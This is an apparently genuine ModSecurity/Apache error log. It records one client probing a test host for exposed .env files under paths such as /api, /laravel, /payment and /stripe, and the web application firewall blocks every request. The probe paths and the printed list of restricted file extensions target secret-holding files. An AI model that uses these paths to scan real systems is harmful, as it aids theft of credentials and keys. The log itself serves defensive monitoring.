[Tue Feb 24 11:35:22.208850 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byywAAAAs&quot;]
[Tue Feb 24 11:35:22.209046 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byywAAAAs&quot;]
[Tue Feb 24 11:35:22.230422 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzAAAAAs&quot;]
[Tue Feb 24 11:35:22.230671 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzAAAAAs&quot;]
[Tue Feb 24 11:35:22.230867 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzAAAAAs&quot;]
[Tue Feb 24 11:35:22.258424 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.vite&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzQAAAAs&quot;]
[Tue Feb 24 11:35:22.258661 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzQAAAAs&quot;]
[Tue Feb 24 11:35:22.258843 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.vite&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzQAAAAs&quot;]
[Tue Feb 24 11:35:22.283019 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzgAAAAs&quot;]
[Tue Feb 24 11:35:22.283307 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzgAAAAs&quot;]
[Tue Feb 24 11:35:22.283510 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzgAAAAs&quot;]
[Tue Feb 24 11:35:22.317809 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzwAAAAs&quot;]
[Tue Feb 24 11:35:22.318042 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzwAAAAs&quot;]
[Tue Feb 24 11:35:22.318215 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88byzwAAAAs&quot;]
[Tue Feb 24 11:35:22.339541 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /payment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0AAAAAs&quot;]
[Tue Feb 24 11:35:22.339772 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0AAAAAs&quot;]
[Tue Feb 24 11:35:22.339985 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0AAAAAs&quot;]
[Tue Feb 24 11:35:22.367016 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0QAAAAs&quot;]
[Tue Feb 24 11:35:22.367256 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0QAAAAs&quot;]
[Tue Feb 24 11:35:22.367439 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0QAAAAs&quot;]
[Tue Feb 24 11:35:22.399388 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0gAAAAs&quot;]
[Tue Feb 24 11:35:22.399626 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0gAAAAs&quot;]
[Tue Feb 24 11:35:22.399827 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0gAAAAs&quot;]
[Tue Feb 24 11:35:22.421126 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0wAAAAs&quot;]
[Tue Feb 24 11:35:22.421367 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0wAAAAs&quot;]
[Tue Feb 24 11:35:22.421561 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by0wAAAAs&quot;]
[Tue Feb 24 11:35:22.650425 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by1wAAAAs&quot;]
[Tue Feb 24 11:35:22.650665 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by1wAAAAs&quot;]
[Tue Feb 24 11:35:22.650858 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by1wAAAAs&quot;]
[Tue Feb 24 11:35:22.673334 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2AAAAAs&quot;]
[Tue Feb 24 11:35:22.673575 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2AAAAAs&quot;]
[Tue Feb 24 11:35:22.673774 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2AAAAAs&quot;]
[Tue Feb 24 11:35:22.695021 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2QAAAAs&quot;]
